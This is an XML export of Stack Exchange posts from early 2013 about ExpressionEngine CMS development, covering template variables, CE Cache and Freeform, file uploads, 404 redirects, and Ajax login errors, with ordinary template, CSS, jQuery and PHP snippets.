  <row Id="6859" PostTypeId="2" ParentId="6856" CreationDate="2013-02-28T15:19:34.660" Score="4" Body="&lt;p&gt;You want to use the EE-&gt;TMPL-&gt;parse_variables function. Here's an example block&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function reggy() {&#xA;   $variables = array();&#xA;&#xA;   $tagdata = $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;tagdata;&#xA;&#xA;   $variables[] = array('head_type' =&amp;gt; 'horse mask');&#xA;&#xA;   return $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;parse_variables($tagdata, $variables);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can define other replacement variables by simply adding to the $variables array, the key will be the tag name.&lt;/p&gt;&#xA;" OwnerUserId="71" LastEditorUserId="71" LastEditDate="2013-02-28T16:31:08.597" LastActivityDate="2013-02-28T16:31:08.597" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6860" PostTypeId="2" ParentId="6853" CreationDate="2013-02-28T15:23:59.953" Score="3" Body="&lt;p&gt;I'm guessing your comment form is nested inside a Channel Entries tag? Try using &lt;code&gt;{logged_in_email}&lt;/code&gt; instead.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-02-28T15:23:59.953" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6861" PostTypeId="1" CreationDate="2013-02-28T15:33:12.907" Score="1" ViewCount="59" Body="&lt;p&gt;I'm trying to create something similar like &lt;a href=&quot;http://pinterest.com&quot; rel=&quot;nofollow&quot;&gt;http://pinterest.com&lt;/a&gt;&#xA;a popup with a magical url rewrite.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm wondering if anyone tried something similar?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a tutorial to do staticly here: &lt;a href=&quot;http://html5doctor.com/history-api/&quot; rel=&quot;nofollow&quot;&gt;http://html5doctor.com/history-api/&lt;/a&gt;&#xA;But i'm wondering how to do this dynamical with every new entry&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the possibilities so far could be : &#xA;- adjusting the script with EE tags (creating a super long javascript though)&#xA;- perhaps nsm-htaccess-generator to create the httaccess with every new entry ?&#xA;- a way to detect in which page i currently am &lt;/p&gt;&#xA;&#xA;&lt;p&gt;any other idea's how to handle this?&#xA;thanks &lt;/p&gt;&#xA;" OwnerUserId="879" LastActivityDate="2013-02-28T15:33:12.907" Title="History api + ee + ajax" Tags="|url|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6865" PostTypeId="1" CreationDate="2013-02-28T17:09:23.477" Score="2" ViewCount="175" Body="&lt;p&gt;EE v2.4&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Store v1.6.1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Toggling the &quot;Require SSL connection for checkout and order tags&quot; setting doesn't do anything. There are Checkout Tags, but those pages do not get redirected to HTTPS. I can manually enter the URL with the HTTPS protocol without issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance for your help.&lt;/p&gt;&#xA;" OwnerUserId="1087" LastActivityDate="2013-04-09T13:57:25.440" Title="Require SSL connection for checkout and order tags problem" Tags="|expresso-store|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="6866" PostTypeId="2" ParentId="6852" CreationDate="2013-02-28T17:10:25.867" Score="2" Body="&lt;p&gt;If you were to output them as a list, you could apply the comma using a pseudo element and then NOT apply it on the last item:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul class=&quot;cat-list&quot;&amp;gt;&#xA;{exp:channel:categories style=&quot;linear&quot; category_group=&quot;3&quot;}&#xA;        {if nav_location == 'Display in primary and header navigation'}&#xA;            &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{path=&quot;{category_url_title}&quot;}&quot;&amp;gt;{category_name}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;        {/if}&#xA;{/exp:channel:categories}&#xA;&amp;lt;/ul&amp;gt;&#xA;&#xA;&amp;lt;style&amp;gt;&#xA;    ul.cat-list li:after {&#xA;        content: ', ';&#xA;    }&#xA;    ul.cat-list li:last-child:after {&#xA;        content: '';&#xA;    }&#xA;&amp;lt;/style&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And of course the remaining styling needed to display this inline as a comma separated list. Downside here is you'd be subject to the browser support for the :after pseudo-element though.&lt;/p&gt;&#xA;" OwnerUserId="20" LastEditorUserId="20" LastEditDate="2013-02-28T17:37:22.703" LastActivityDate="2013-02-28T17:37:22.703" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6867" PostTypeId="2" ParentId="6583" CreationDate="2013-02-28T17:27:02.797" Score="2" Body="&lt;p&gt;Turned out that this was, indeed, an issue with Assets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Andris worked on this overnight and figured out what was going on.  Essentially, Assets thought that if it reached that part of the code and had to submit an ACT request, then Assets would be the one doing the ACTion.  That is not always the case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will be fixed Assets 2.1 but that is a bit off.  So, here is the patch with instructions for where to apply the code changes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://pastie.org/private/stx2abio8navxese2i4zq&quot; rel=&quot;nofollow&quot;&gt;http://pastie.org/private/stx2abio8navxese2i4zq&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make sure you back up your files first!  &lt;/p&gt;&#xA;" OwnerUserId="563" LastActivityDate="2013-02-28T17:27:02.797" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6868" PostTypeId="1" AcceptedAnswerId="6890" CreationDate="2013-02-28T17:37:20.800" Score="1" ViewCount="146" Body="&lt;p&gt;I've created a File Upload Directory called Films where images for Film Channel Entries are stored. The upload works and displays correctly in my templates, but I noticed in the Upload Directory that the uploaded images are being stored in the root of the directory and not in the entry's Channel ID folder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Channel ID folders are being created but the images are being stored outside of it (&lt;a href=&quot;https://i.stack.imgur.com/8XgLn.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;see screenshot&lt;/a&gt;). Is this how it is supposed to work or is something buggy going on? I'm using EE 2.4.0.&lt;/p&gt;&#xA;" OwnerUserId="454" LastActivityDate="2013-03-01T05:54:02.070" Title="File Uploads Not Being Stored in Entry ID Folder" Tags="|file-uploads|file-manager|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6869" PostTypeId="1" AcceptedAnswerId="6871" CreationDate="2013-02-28T18:26:33.927" Score="0" ViewCount="56" Body="&lt;p&gt;Is it possible to link a category image in Expression Engine 2+? I have logos as my category images and I'd like to link them to external sites. Thanks.&lt;/p&gt;&#xA;" OwnerUserId="437" LastActivityDate="2013-02-28T18:32:24.720" Title="Linking a Category Image" Tags="|categories|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6870" PostTypeId="1" CreationDate="2013-02-28T18:31:11.020" Score="2" ViewCount="220" Body="&lt;p&gt;My client wants to control the member accounts (username/email/password etc) by their own API.  So essentially when they update their own database the EE database would update automatically.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any way this can be achieved?  If so what does their API have to include?&lt;/p&gt;&#xA;" OwnerUserId="451" LastActivityDate="2013-05-02T18:09:49.687" Title="control members by API" Tags="|members|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6871" PostTypeId="2" ParentId="6869" CreationDate="2013-02-28T18:32:24.720" Score="1" Body="&lt;p&gt;Definitely - you could create a custom category field for the URL and then use it in your template conditionally if it has a value.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2013-02-28T18:32:24.720" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6872" PostTypeId="1" CreationDate="2013-02-28T19:35:13.637" Score="3" ViewCount="311" Body="&lt;p&gt;My client sometimes needs to set a page as &quot;Closed&quot;, but the url still gets traffic, and the users will now see a broken template page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to redirect the user to a 404 page upon visiting a &quot;Closed&quot; page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How would I go about doing this? I'm very unfamiliar with EE, but because this site was made years ago by an earlier employee, I must find a solution to this, even with my lack of experience.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This exact type of question was explained here - &lt;a href=&quot;http://www.bluecoastweb.com/sandbox/blog/redirect_to_404_when_expressionengine_entry_has_closed_status/&quot; rel=&quot;nofollow&quot;&gt;redirect_to_404_when_expressionengine_entry_has_closed_status&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;...but I couldn't manage to make any sense of it, with so many comments giving different solutions and fixes of their own, I was left confused, and while trying what the post explains, I've yet to get it to work, and I can't necessarily follow the steps correctly, since I don't know too much about how EE works.&#xA;This is a ExpressionEngine  v 1.7.0 site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have FTP access and Super Admin access. &lt;/p&gt;&#xA;" OwnerUserId="1086" LastActivityDate="2013-02-28T21:59:35.487" Title="&quot;Closed&quot; status pages urls still exist - How do I make these display the 404 page instead?" Tags="|redirects|404|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6873" PostTypeId="2" ParentId="6821" CreationDate="2013-02-28T19:36:28.257" Score="1" Body="&lt;p&gt;Since StackExchange won't allow me to answer my question yet I'll edit here to give the answer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Changed the input field for the file upload to a FreeForm field like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{freeform:field:file1 show=&quot;1&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Works like a charm now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="220" LastActivityDate="2013-02-28T19:36:28.257" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6874" PostTypeId="1" AcceptedAnswerId="6925" CreationDate="2013-02-28T19:41:29.700" Score="1" ViewCount="66" Body="&lt;p&gt;I'd like to be able to edit what is considered safe html for comments. I searched devotee but there's no addon making this easy to do so I guess I need to hack the core files. Where would one go to do this?&lt;/p&gt;&#xA;" OwnerUserId="15" LastActivityDate="2017-06-23T10:32:09.867" Title="How to edit what is considered safe html for comments" Tags="|comments|core-hacks|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6875" PostTypeId="1" CreationDate="2013-02-28T21:30:47.760" Score="6" ViewCount="536" Body="&lt;p&gt;We are using CE Cache's static caching on our site because of some performance issues on our server. We are also using Freeform to place a newsletter sign up form on just about every page. Obviously this caused problems as Freeform uses the XID parameter for security purposes and when the page (and thus form) are cached it fails that security check.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We were wondering about possible options to get around this. The obvious option is to not cache the pages in that way, but the page load would behave strangely as some parts would be cached and load quickly, while other parts would take a long time to load. Some other options we considered: have that form submit to an in-between page that then does the actual Freeform submission (this seems to messy and too much overhead), have the form load in an iframe on the page (this would work except for the above issue that the whole page would load and leave that empty iframe until it loads), or move servers (ugh).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to disable that security check for Freeform? Or is there a way around this issue? I was surprised to see that a google search on the topic didn't bring up any results, I just wanted to make sure I covered all the options before picking one. Any insights on this issue from others that may have experienced something similar?&lt;/p&gt;&#xA;" OwnerUserId="874" LastActivityDate="2013-03-02T23:08:57.130" Title="CE Cache and Freeform" Tags="|solspace-freeform|ce-cache|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6876" PostTypeId="1" CreationDate="2013-02-28T21:58:57.953" Score="1" ViewCount="276" Body="&lt;p&gt;I went to set up a data import for a CSV to bulk update product prices and discovered that there is no option to check for duplicates on &lt;code&gt;exp_channel_titles.entry_id&lt;/code&gt; or &lt;code&gt;exp_channel_titles.url_title&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This feature only seems to work on custom fields in the channel's field group.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately this product list does not have any real-world product code or similar unique identification system so using the &lt;code&gt;entry_id&lt;/code&gt; or &lt;code&gt;url_title&lt;/code&gt; would be ideal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using plain old channels here and not using third-party add-ons for this channel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this something that can be done using DataGrab or will I need to add this functionality?&lt;/p&gt;&#xA;" OwnerUserId="841" LastActivityDate="2013-03-17T14:57:34.120" Title="Can DataGrab check for duplicate entries using entry_id or url_title?" Tags="|datagrab|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6877" PostTypeId="2" ParentId="6872" CreationDate="2013-02-28T21:59:35.487" Score="6" Body="&lt;p&gt;I've never used EE before version 2 so not 100% sure this will work, but hopefully it helps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Inside your weblog entries tag (I am assuming it is a weblog entries tag, if it is not, post what it is here) put the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if no_results}&#xA;    {redirect=&quot;404&quot;}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This also assumes you have a 404 page set up in your configuration. This may not work, but if it doesn't we'll need more information, namely the tag in question that is displaying the entries (something like: {exp:weblog:entries ...}).&lt;/p&gt;&#xA;" OwnerUserId="874" LastActivityDate="2013-02-28T21:59:35.487" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6878" PostTypeId="1" CreationDate="2013-02-28T22:31:58.460" Score="0" ViewCount="231" Body="&lt;p&gt;It appears that when I enable throttling in EE (2.5.5), assets stops rendering thumbnails or other files. Shouldn't there be a way to get around this throttling issue with logged in members?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;htaccess file&lt;/p&gt;&#xA;&#xA;&lt;p&gt;RewriteEngine On &#xA;RewriteCond $1 !.(gif|jpe?g|png)$ [NC]&#xA;RewriteCond %{REQUEST_FILENAME} !-f &#xA;RewriteCond %{REQUEST_FILENAME} !-d &#xA;RewriteRule ^(.*)$ /index.php/$1 [L]  &lt;/p&gt;&#xA;" OwnerUserId="83" LastEditorUserId="83" LastEditDate="2013-03-01T21:28:08.073" LastActivityDate="2015-06-09T00:26:06.020" Title="Assets 2.0 with Throttling enabled" Tags="|assets|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6879" PostTypeId="1" AcceptedAnswerId="7003" CreationDate="2013-02-28T23:28:22.900" Score="2" ViewCount="4872" Body="&lt;p&gt;I'm seeing the following when I try to publish or edit a pages entry : &#xA;&lt;code&gt;Fatal error: Call to a member function result_array() on a non-object in ...taxonomy/libraries/Ttree.php on line 1004&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    foreach($query-&amp;gt;result_array() as $row)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm getting a similar error about non-objects (whaaat) when I try to use Field Editor:&#xA;&lt;code&gt;Fatal error: Call to a member function result() on a non-object in ...field_editor/mcp.field_editor.php on line 70&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;line 70 (and context) is as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    foreach ($query-&amp;gt;result() as $row)&#xA;    {&#xA;        $this-&amp;gt;EE-&amp;gt;table-&amp;gt;add_row(&#xA;            anchor(BASE.AMP.'C=addons_modules'.AMP.'M=show_module_cp'.AMP.'module=field_editor'.AMP.'method=edit'.AMP.'group_id='.$row-&amp;gt;group_id, $row-&amp;gt;group_name).sprintf(' (%d)', $row-&amp;gt;count),&#xA;            anchor(BASE.AMP.'C=addons_modules'.AMP.'M=show_module_cp'.AMP.'module=field_editor'.AMP.'method=delete_confirm'.AMP.'group_id='.$row-&amp;gt;group_id, lang('delete')),&#xA;            anchor(BASE.AMP.'C=addons_modules'.AMP.'M=show_module_cp'.AMP.'module=field_editor'.AMP.'method=export'.AMP.'group_id='.$row-&amp;gt;group_id, lang('field_editor_export')),&#xA;            anchor(BASE.AMP.'C=addons_modules'.AMP.'M=show_module_cp'.AMP.'module=field_editor'.AMP.'method=import_upload'.AMP.'group_id='.$row-&amp;gt;group_id, lang('field_editor_import')),&#xA;            anchor(BASE.AMP.'C=addons_modules'.AMP.'M=show_module_cp'.AMP.'module=field_editor'.AMP.'method=clone_group'.AMP.'group_id='.$row-&amp;gt;group_id, lang('field_editor_clone'))&#xA;        );&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And then again when I try to change fields natively:&#xA;&lt;code&gt;Fatal error: Call to a member function num_rows() on a non-object in ...system/expressionengine/views/admin/field_group_management.php on line 28&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        if ($field_groups-&amp;gt;num_rows() &amp;gt; 0)&#xA;        {&#xA;            foreach ($field_groups-&amp;gt;result() as $field)&#xA;            {&#xA;                $this-&amp;gt;table-&amp;gt;add_row(&#xA;                    '&amp;lt;a href=&quot;'.BASE.AMP.'C=admin_content'.AMP.'M=field_management'.AMP.'group_id='.$field-&amp;gt;group_id.'&quot;&amp;gt;'.$field-&amp;gt;group_name.'&amp;lt;/a&amp;gt; ('.$field-&amp;gt;count.')', &#xA;                    '&amp;lt;a href=&quot;'.BASE.AMP.'C=admin_content'.AMP.'M=field_group_edit'.AMP.'group_id='.$field-&amp;gt;group_id.'&quot;&amp;gt;'.lang('rename').'&amp;lt;/a&amp;gt;',&#xA;                    '&amp;lt;a href=&quot;'.BASE.AMP.'C=admin_content'.AMP.'M=field_group_delete_confirm'.AMP.'group_id='.$field-&amp;gt;group_id.'&quot;&amp;gt;'.lang('delete').'&amp;lt;/a&amp;gt;'&#xA;                );&#xA;            }&#xA;        }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I can't reproduce on my staging server or locally so I've got a hunch that this is something server-specific, I just have no. clue. what it could be. Googling around, it looks like this sort of error (non-object) is pretty common so that at least gives me some hope.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone have ideas on how I could resolve or could at least point me in the right direction? Trying to debug on a production server isn't ideal so ideally I'd like to have a starting point. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;using v2.5.5 of EE&#xA;taxonomy v2.3.4&lt;/p&gt;&#xA;" OwnerUserId="765" LastActivityDate="2013-03-05T04:57:15.167" Title="How can I get rid of &quot;call to a member function result() on non-object&quot;" Tags="|ee2|taxonomy|field-editor|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6880" PostTypeId="2" ParentId="6875" CreationDate="2013-02-28T23:37:48.970" Score="7" Body="&lt;p&gt;I think the best way to handle that situation would be to use fragment caching on that page, instead of static caching. That way, you can cache most of the page, but escape the parts that you want to remain dynamic (see the &lt;a href=&quot;http://www.causingeffect.com/software/expressionengine/ce-cache/user-guide/basics#partial_caching&quot;&gt;Partial Caching&lt;/a&gt; documentation for more details).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using fragment caching will still allow the page to be very fast. Not as fast as a statically cached page, but fast nonetheless. :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Disclosure: I'm the author of the CE Cache add-on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit:&#xA;I actually do this on the &lt;a href=&quot;http://www.causingeffect.com&quot;&gt;Causing Effect&lt;/a&gt; site. I use the Static driver for visitors that are not logged-in, and fragment caching with the Redis driver for those that are logged-in. I don't use any static caching on the Contact page either (just fragment caching). I'm guessing I could get it to work fine, but I didn't bother with it.&lt;/p&gt;&#xA;" OwnerUserId="936" LastEditorUserId="936" LastEditDate="2013-02-28T23:51:20.213" LastActivityDate="2013-02-28T23:51:20.213" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6881" PostTypeId="1" AcceptedAnswerId="6904" CreationDate="2013-02-28T23:53:37.360" Score="1" ViewCount="294" Body="&lt;p&gt;I have a login form saved as a snippet, which I include in the pages where it's needed, and the script that runs it is in the header include template. Basically, I use Ajax to avoid showing that interstitial page when logging in, and it works as expected for that. However, when I add &lt;code&gt;error_handling=&quot;inline&quot;&lt;/code&gt; and put error variables in the form template, nothing shows up -- the form clears itself, but no messages show up. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the form:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:profile:login return=&quot;{path={segment_1}/{segment_2}/{segment_3}/{segment_4}}&quot; include_jquery=&quot;no&quot; json=&quot;yes&quot; error_handling=&quot;inline&quot;}&#xA;&amp;lt;label for=&quot;username&quot;&amp;gt;Username&amp;lt;/label&amp;gt;&#xA;&amp;lt;input type=&quot;text&quot; name=&quot;username&quot; value=&quot;&quot;  maxlength=&quot;32&quot; class=&quot;input&quot; size=&quot;25&quot; /&amp;gt;        {error:username}&#xA;&amp;lt;label for=&quot;password&quot;&amp;gt;Password&amp;lt;/label&amp;gt;&#xA;&amp;lt;input type=&quot;password&quot; name=&quot;password&quot; value=&quot;&quot; maxlength=&quot;32&quot; class=&quot;input&quot; size=&quot;25&quot; /&amp;gt;{error:password}&#xA;     {if auto_login} &amp;lt;br /&amp;gt;&#xA;     &amp;lt;label for=&quot;auto_login&quot;&amp;gt;Remember Me? &amp;lt;/label&amp;gt;&#xA;     &amp;lt;input type=&quot;checkbox&quot; name=&quot;auto_login&quot; value=&quot;1&quot; checked=&quot;checked&quot;&amp;gt; {/if}&#xA;&amp;lt;span id=&quot;logmein&quot; class=&quot;btnGrey&quot;&amp;gt;Login&amp;lt;/span&amp;gt;&#xA;  {/exp:profile:login}&#xA; |{errors}{error}:{field}|{/errors} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is the jQuery, just in case that's the problem:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script&amp;gt;&#xA;var login_options = { &#xA;    success: do_login,  &#xA;    dataType: 'json',&#xA;    resetForm: true&#xA;};&#xA;    function do_login(data, statusText, xhr, $form)  {   &#xA;    if (data.success) {                                                   &#xA;        $(&quot;input[name=XID]&quot;).val(data.XID);&#xA;        window.location.replace(&quot;{path={segment_1}/{segment_2}/{segment_3}/{segment_4}}&quot;);   &#xA;    }  &#xA;    return true; &#xA;};    &#xA;$(document).ready(function() { &#xA;$(&quot;#logmein&quot;).click(function(){ &#xA;  var form = $(this).closest(&quot;form&quot;); &#xA;   $(form).ajaxForm(login_options);&#xA;   $(form).submit(); &#xA;}); &#xA;...&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am running EE version 2.5.5 and Profile:Edit 1.0.7.  I tried all the variations of error variables shown &lt;a href=&quot;http://mightybigrobot.com/docs/profile-edit/#errors&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;, and nothing works. &lt;/p&gt;&#xA;" OwnerUserId="772" LastActivityDate="2013-03-01T14:53:02.563" Title="Profile:Edit ajax login form doesn't display errors" Tags="|add-on|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6882" PostTypeId="1" CreationDate="2013-03-01T00:37:10.130" Score="3" ViewCount="59" Body="&lt;p&gt;Is it possible to select multiple images for editing their attributes? e.g. changing keywords, date etc.&lt;/p&gt;&#xA;" OwnerUserId="147" LastActivityDate="2013-03-31T16:58:36.510" Title="Bulk edit in Assets" Tags="|assets|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6883" PostTypeId="2" ParentId="6876" CreationDate="2013-03-01T00:44:09.370" Score="1" Body="&lt;p&gt;If I remember correctly &quot;title&quot; is something you can key off when doing the import.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-03-01T00:44:09.370" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6884" PostTypeId="2" ParentId="6875" CreationDate="2013-03-01T00:48:56.027" Score="4" Body="&lt;p&gt;Another option is to put your form into its own template, then use &lt;a href=&quot;http://api.jquery.com/load/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;jQuery load()&lt;/strong&gt;&lt;/a&gt; to load that URL on page load into a div that's included in the pages. That form template won't be cached so you will have a fresh XID each time.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;subscription-form&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;    $(document).ready(function () {&#xA;        $('#subscription-form').load('template-group/form-template');&#xA;    });&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Your form goes into the &quot;template-group/form-template&quot; template.&lt;/p&gt;&#xA;" OwnerUserId="28" LastEditorUserId="28" LastEditDate="2013-03-01T17:40:16.630" LastActivityDate="2013-03-01T17:40:16.630" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6885" PostTypeId="1" CreationDate="2013-03-01T02:36:24.783" Score="2" ViewCount="191" Body="&lt;p&gt;I'm getting a &quot;No file&quot; error when trying to upload files via the native file manager. You can see the browser uploading the image but then you get the rather unhelpful red error message.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was able to upload files no problem a few weeks ago and the only thing that's changed since then is upgrading to 2.5.5.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone else had this problem?&lt;/p&gt;&#xA;" OwnerUserId="116" LastActivityDate="2013-03-01T12:28:55.997" Title="&quot;No file&quot; error when trying to upload files via the file manager" Tags="|file-uploads|file-manager|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6886" PostTypeId="2" ParentId="5717" CreationDate="2013-03-01T02:54:43.687" Score="2" Body="&lt;p&gt;This works for me, tested in EE2.5.5 and Matrix 2.4.1&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{my_image_file}&#xA;{url:150x100}, {height}, {width}&#xA;{/my_image_file}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1029" LastActivityDate="2013-03-01T02:54:43.687" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6887" PostTypeId="2" ParentId="6003" CreationDate="2013-03-01T03:02:23.333" Score="0" Body="&lt;p&gt;Worth checking to see the custom field you want to use as the excerpt is marked as &quot;Is field searchable = Yes&quot;, see Admin&gt;Channel administration&gt;Channel fields&gt;Your field group&gt;Your field.&lt;/p&gt;&#xA;" OwnerUserId="1029" LastActivityDate="2013-03-01T03:02:23.333" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6888" PostTypeId="2" ParentId="6828" CreationDate="2013-03-01T03:12:21.497" Score="0" Body="&lt;p&gt;Are you using Chrome browser - it's well known to cache like mad, I've seen a lot of issues with it lately not serving up correct page views.&lt;/p&gt;&#xA;" OwnerUserId="1029" LastActivityDate="2013-03-01T03:12:21.497" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6889" PostTypeId="2" ParentId="6885" CreationDate="2013-03-01T05:35:28.143" Score="0" Body="&lt;p&gt;Try reuploading the themes folder from the 2.5.5 install. It's possible there is new JS that didn't get updated.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-03-01T05:35:28.143" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6890" PostTypeId="2" ParentId="6868" CreationDate="2013-03-01T05:54:02.070" Score="3" Body="&lt;p&gt;Native EE file uploads do not use sub folders within the upload directory nor can the native file manger and uploader see any subfolders. Channel Images does create Channel ID sub folders so that is creating your Channel ID folders when you upload something to that Channel Images field (based on your comment above).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's a big fat pain, and something that I've always been annoyed about with native uploads, but that is the way things are.&lt;/p&gt;&#xA;" OwnerUserId="467" LastActivityDate="2013-03-01T05:54:02.070" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6891" PostTypeId="2" ParentId="6766" CreationDate="2013-03-01T06:44:33.140" Score="0" Body="&lt;p&gt;I think it's an intentional feature of Wygwam to style the content using your website CSS so when editing it can look exactly like the live content will. At least that's how I always set it up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've find the best method for this is:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Point it to your default CSS file but also supply so Wygwam-only overrides to tweak how it looks in the editor window (e.g. I often add padding to text doesn't hit the left side of the box) or,&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Provide it with a special Wygwam only stylesheet that is a simpler modified version of your default styles.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="982" LastActivityDate="2013-03-01T06:44:33.140" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
